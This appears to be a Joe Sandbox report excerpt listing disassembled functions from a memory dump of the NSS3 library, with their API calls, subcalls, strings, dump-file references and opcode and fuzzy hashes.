PK11_IsLoggedIn.NSS3(?,?,?,6CE52E62,?,?,?,?,?,?,?,00000000,?,?,?,6CE24F1C), ref: 6CE38EC3
TlsGetValue.KERNEL32(?,?,?,6CE52E62,?,?,?,?,?,?,?,00000000,?,?,?,6CE24F1C), ref: 6CE38EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6CE52E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6CE38EF1
PR_Unlock.NSS3 ref: 6CE38F20

Strings

b.l, xrefs: 6CE38E96, 6CE38F25

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID: b.l
API String ID: 1978757487-3749612370
Opcode ID: 50fa395e43173a89539a2325680b7dd1286c53652587e5517bc10935d153a470
Instruction ID: 06b36e05f63c804776da849d0b07b9707699aca5b0ab13d87e149d6f85b1237b
Opcode Fuzzy Hash: 50fa395e43173a89539a2325680b7dd1286c53652587e5517bc10935d153a470
Instruction Fuzzy Hash: CF216B709096259BCB10AF29D8842A9BBF0BF48318F51556FE898DBB41DB34F854CBD2

Function 6CEA3E20 Relevance: 10.6, APIs: 7, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 6CEA5B40: PR_GetIdentitiesLayer.NSS3 ref: 6CEA5B56

PR_EnterMonitor.NSS3(?), ref: 6CEA3E45

Part of subcall function 6CED9090: TlsGetValue.KERNEL32 ref: 6CED90AB
Part of subcall function 6CED9090: TlsGetValue.KERNEL32 ref: 6CED90C9
Part of subcall function 6CED9090: EnterCriticalSection.KERNEL32 ref: 6CED90E5
Part of subcall function 6CED9090: TlsGetValue.KERNEL32 ref: 6CED9116
Part of subcall function 6CED9090: LeaveCriticalSection.KERNEL32 ref: 6CED913F

PR_EnterMonitor.NSS3(?), ref: 6CEA3E5C
PR_EnterMonitor.NSS3(?), ref: 6CEA3E73
PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6CEA3EA6

Part of subcall function 6CEBC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEBC2BF

PR_ExitMonitor.NSS3(?), ref: 6CEA3EC0
PR_ExitMonitor.NSS3(?), ref: 6CEA3ED7
PR_ExitMonitor.NSS3(?), ref: 6CEA3EEE

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Monitor$EnterValue$Exit$CriticalSection$ErrorIdentitiesLayerLeave
String ID:
API String ID: 2517541793-0
Opcode ID: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction ID: b652736f4a321c67c3856ec6bc9b0bdff085160a4637208001ff7de171ff4054
Opcode Fuzzy Hash: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction Fuzzy Hash: 2F11A875510700AFD7315E69FC02BC7B7B29B41308F248828E5598AA21E732F52BC743

Function 6CF22C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CF22CA0
PR_ExitMonitor.NSS3 ref: 6CF22CBE
calloc.MOZGLUE(00000001,00000014), ref: 6CF22CD1
strdup.MOZGLUE(?), ref: 6CF22CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6CF22D27

Strings

Loaded library %s (static lib), xrefs: 6CF22D22

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: 8e4efe26c032bb83fbb94e92884680228230a6c0ba58011093107d76c07f0d55
Instruction ID: 491742389efa7506f3ca97b99cc95c32fbd4a4ef8c682794506ab22e1a974312
Opcode Fuzzy Hash: 8e4efe26c032bb83fbb94e92884680228230a6c0ba58011093107d76c07f0d55
Instruction Fuzzy Hash: 0D1134B1B212209FEB418F55EC58B6A77B4AB4532DF64803DD809C7B01D73AE808CBB1

Function 6CE1BDC0 Relevance: 10.6, APIs: 7, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE1BDCA

Part of subcall function 6CE70FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE187ED,00000800,6CE0EF74,00000000), ref: 6CE71000
Part of subcall function 6CE70FF0: PR_NewLock.NSS3(?,00000800,6CE0EF74,00000000), ref: 6CE71016
Part of subcall function 6CE70FF0: PL_InitArenaPool.NSS3(00000000,security,6CE187ED,00000008,?,00000800,6CE0EF74,00000000), ref: 6CE7102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE1BDDB

Part of subcall function 6CE710C0: TlsGetValue.KERNEL32(?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE710F3
Part of subcall function 6CE710C0: EnterCriticalSection.KERNEL32(?,?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE7110C
Part of subcall function 6CE710C0: PL_ArenaAllocate.NSS3(?,?,?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE71141
Part of subcall function 6CE710C0: PR_Unlock.NSS3(?,?,?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE71182
Part of subcall function 6CE710C0: TlsGetValue.KERNEL32(?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE7119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE1BDEC

Part of subcall function 6CE710C0: PL_ArenaAllocate.NSS3(?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE7116E

SECITEM_CopyItem_Util.NSS3(00000000,00000000,?), ref: 6CE1BE03

Part of subcall function 6CE6FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CE68D2D,?,00000000,?), ref: 6CE6FB85
Part of subcall function 6CE6FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CE6FBB1

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE1BE22
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE1BE30
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE1BE3B

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_ErrorValue$CopyCriticalEnterFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1821307800-0
Opcode ID: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction ID: c7b1e1221bbb6e01c92f8a9575c582d8b78885760b8ec52e6c809f2d8510194d
Opcode Fuzzy Hash: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction Fuzzy Hash: B5012BE5E4460566F61016667C01FA726684F5128DF340038FE08DAF82FB51E12983F6

Function 6CE70FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE187ED,00000800,6CE0EF74,00000000), ref: 6CE71000
PR_NewLock.NSS3(?,00000800,6CE0EF74,00000000), ref: 6CE71016

Part of subcall function 6CED98D0: calloc.MOZGLUE(00000001,00000084,6CE00936,00000001,?,6CE0102C), ref: 6CED98E5

PL_InitArenaPool.NSS3(00000000,security,6CE187ED,00000008,?,00000800,6CE0EF74,00000000), ref: 6CE7102B
TlsGetValue.KERNEL32(00000000,?,?,6CE187ED,00000800,6CE0EF74,00000000), ref: 6CE71044
free.MOZGLUE(00000000,?,00000800,6CE0EF74,00000000), ref: 6CE71064

Strings

security, xrefs: 6CE71025

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: e1f8e2dc7038cb41d660dd6580e89a040a5d3f6d640758fcaad7908d2f88632d
Instruction ID: e2a8fd6b27763dc1973110205d05f0e86f0689ecaa158a1d24db02880f3487e9
Opcode Fuzzy Hash: e1f8e2dc7038cb41d660dd6580e89a040a5d3f6d640758fcaad7908d2f88632d
Instruction Fuzzy Hash: 9B012530A203909BEB702FA99C18B563A78AF4374DF210119E85CA6A52EB61C155DBF1

Function 6CEA1C60 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CEA1C74

Part of subcall function 6CEBC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEBC2BF

DeleteCriticalSection.KERNEL32(?), ref: 6CEA1C92
free.MOZGLUE(?), ref: 6CEA1C99
DeleteCriticalSection.KERNEL32(?), ref: 6CEA1CCB
free.MOZGLUE(?), ref: 6CEA1CD2

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree$ErrorValue
String ID:
API String ID: 3805613680-0
Opcode ID: b27e4e9c6477ced09de00b37277453ea5a098a86a779824269e9fe6499a212f7
Instruction ID: 2d9ba329a584d194a96ba7e11072ad4f0a854772d1a1b7978f20b01e5119fcf0
Opcode Fuzzy Hash: b27e4e9c6477ced09de00b37277453ea5a098a86a779824269e9fe6499a212f7
Instruction Fuzzy Hash: 1701D6B1F25630EFEE59AFE4AD0DB9537B4A707309F200025E54AE6B40D332D11547A1

Function 6CEB2E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6CEB3046

Part of subcall function 6CE9EE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE9EE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6CE87FFB), ref: 6CEB312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CEB3154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CEB2E8B

Part of subcall function 6CEBC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEBC2BF

Part of subcall function 6CE9F110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6CE89BFF,?,00000000,00000000), ref: 6CE9F134

memcpy.VCRUNTIME140(8B3C75C0,?,6CE87FFA), ref: 6CEB2EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEB317B

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: 65a9b29a92eda34dfa3d15285c1cf3995d2751739bed606dc8cd25362481e71d
Instruction ID: 2315f1fb6a18d4db0fc4859f4acd8dfaade0b7edb4ab5462af92bcb1da42dbc1
Opcode Fuzzy Hash: 65a9b29a92eda34dfa3d15285c1cf3995d2751739bed606dc8cd25362481e71d
Instruction Fuzzy Hash: B1A1BD71A002199FDB24CF54CC81BEAB7B5EF49308F248199ED496B781E731AD85CF91

Function 6CE7ED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6CE7ED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6CE7EDCE

Part of subcall function 6CE70BE0: malloc.MOZGLUE(6CE68D2D,?,00000000,?), ref: 6CE70BF8
Part of subcall function 6CE70BE0: TlsGetValue.KERNEL32(6CE68D2D,?,00000000,?), ref: 6CE70C15

free.MOZGLUE(00000000,?,?,?,?,6CE7B04F), ref: 6CE7EE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CE7EECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CE7EEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CE7EEFB

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: 1a26476280591e283de671c7fec5d9e891c5cd95251e5d1a6ccdde3e384f0e3c
Instruction ID: 92db3d9fc47976143d31af9e12379b060aad53750ac0f51a28c25d172f2acae0
Opcode Fuzzy Hash: 1a26476280591e283de671c7fec5d9e891c5cd95251e5d1a6ccdde3e384f0e3c
Instruction Fuzzy Hash: AA8169B1A006059FEB24CF59D885BAA7BB5FF89308F24442CE9159BB51DB30E815CBB1

Function 6CE7CCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CE7C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CE7DAE2,?), ref: 6CE7C6C2

PR_Now.NSS3 ref: 6CE7CD35

Part of subcall function 6CED9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CF20A27), ref: 6CED9DC6
Part of subcall function 6CED9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CF20A27), ref: 6CED9DD1
Part of subcall function 6CED9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CED9DED

Part of subcall function 6CE66C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CE11C6F,00000000,00000004,?,?), ref: 6CE66C3F

PR_GetCurrentThread.NSS3 ref: 6CE7CD54

Part of subcall function 6CED9BF0: TlsGetValue.KERNEL32(?,?,?,6CF20A75), ref: 6CED9C07

Part of subcall function 6CE67260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CE11CCC,00000000,00000000,?,?), ref: 6CE6729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE7CD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6CE7CE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6CE7CE2C

Part of subcall function 6CE710C0: TlsGetValue.KERNEL32(?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE710F3
Part of subcall function 6CE710C0: EnterCriticalSection.KERNEL32(?,?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE7110C
Part of subcall function 6CE710C0: PL_ArenaAllocate.NSS3(?,?,?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE71141
Part of subcall function 6CE710C0: PR_Unlock.NSS3(?,?,?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE71182
Part of subcall function 6CE710C0: TlsGetValue.KERNEL32(?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE7119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6CE7CE40

Part of subcall function 6CE714C0: TlsGetValue.KERNEL32 ref: 6CE714E0
Part of subcall function 6CE714C0: EnterCriticalSection.KERNEL32 ref: 6CE714F5
Part of subcall function 6CE714C0: PR_Unlock.NSS3 ref: 6CE7150D

Part of subcall function 6CE7CEE0: PORT_ArenaMark_Util.NSS3(?,6CE7CD93,?), ref: 6CE7CEEE
Part of subcall function 6CE7CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CE7CD93,?), ref: 6CE7CEFC
Part of subcall function 6CE7CEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CE7CD93,?), ref: 6CE7CF0B
Part of subcall function 6CE7CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CE7CD93,?), ref: 6CE7CF1D

Part of subcall function 6CE7CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CE7CD93,?), ref: 6CE7CF47
Part of subcall function 6CE7CEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CE7CD93,?), ref: 6CE7CF67
Part of subcall function 6CE7CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6CE7CD93,?,?,?,?,?,?,?,?,?,?,?,6CE7CD93,?), ref: 6CE7CF78

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 874cf5d1ca3c387157286b2d57918e29bb680b890a5a735feed7028d3b79e1c9
Instruction ID: c989791bebcf4d8ebacfdf33ad1a700a9d6530ecd3c60e7fa019aa4ec9b67299
Opcode Fuzzy Hash: 874cf5d1ca3c387157286b2d57918e29bb680b890a5a735feed7028d3b79e1c9
Instruction Fuzzy Hash: 49516176B006059BE720DF69DC40BAA77F8EF4834CF350529D95997B40EB31E905CBA1

Function 6CE8FFD0 Relevance: 9.1, APIs: 6, Instructions: 132COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD076,00000000), ref: 6CE8FFE5

Part of subcall function 6CEBC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEBC2BF

PR_EnterMonitor.NSS3(?), ref: 6CE90004
PR_EnterMonitor.NSS3(?), ref: 6CE9001B

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: EnterMonitor$ErrorValue
String ID:
API String ID: 3413098822-0
Opcode ID: 60320188a4a044b33c11227d783a90047446661955a87395083594d3179c8d23
Instruction ID: c91e462482f6a8dcdf99106f220f1b75727b142c01bbc62d3174fa2052aa6535
Opcode Fuzzy Hash: 60320188a4a044b33c11227d783a90047446661955a87395083594d3179c8d23
Instruction Fuzzy Hash: 38418D766046808BE7204A2ADC517EB73B5DF0530CFB0083DE44BCAF91D7B9A54AC742

Function 6CE4EEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6CE4EF38

Part of subcall function 6CE39520: PK11_IsLoggedIn.NSS3(00000000,?,6CE6379E,?,00000001,?), ref: 6CE39542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6CE4EF53

Part of subcall function 6CE54C20: TlsGetValue.KERNEL32 ref: 6CE54C4C
Part of subcall function 6CE54C20: EnterCriticalSection.KERNEL32(?), ref: 6CE54C60
Part of subcall function 6CE54C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CE54CA1
Part of subcall function 6CE54C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CE54CBE
Part of subcall function 6CE54C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CE54CD2
Part of subcall function 6CE54C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE54D3A

PR_GetCurrentThread.NSS3 ref: 6CE4EF9E

Part of subcall function 6CED9BF0: TlsGetValue.KERNEL32(?,?,?,6CF20A75), ref: 6CED9C07

free.MOZGLUE(00000000), ref: 6CE4EFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CE4F016
free.MOZGLUE(00000000), ref: 6CE4F022

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: 611666001c55fae5d9ddaa29d8156d6d3f19d0429ada9555f7c9cf326d62dab8
Instruction ID: ec2445ec9cfc833a910f6d0ff1f0bc4651311ea570c3c47552b26b18bcf0e799
Opcode Fuzzy Hash: 611666001c55fae5d9ddaa29d8156d6d3f19d0429ada9555f7c9cf326d62dab8
Instruction Fuzzy Hash: D441C471E00209AFDF018FA9EC45BEE7BB9AF48348F104029F914A7350EB72D915CBA1

Function 6CE3CF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6CE3CF80
SECITEM_DupItem_Util.NSS3(?), ref: 6CE3D002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6CE3D016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE3D025
PR_NewLock.NSS3 ref: 6CE3D043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CE3D074

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
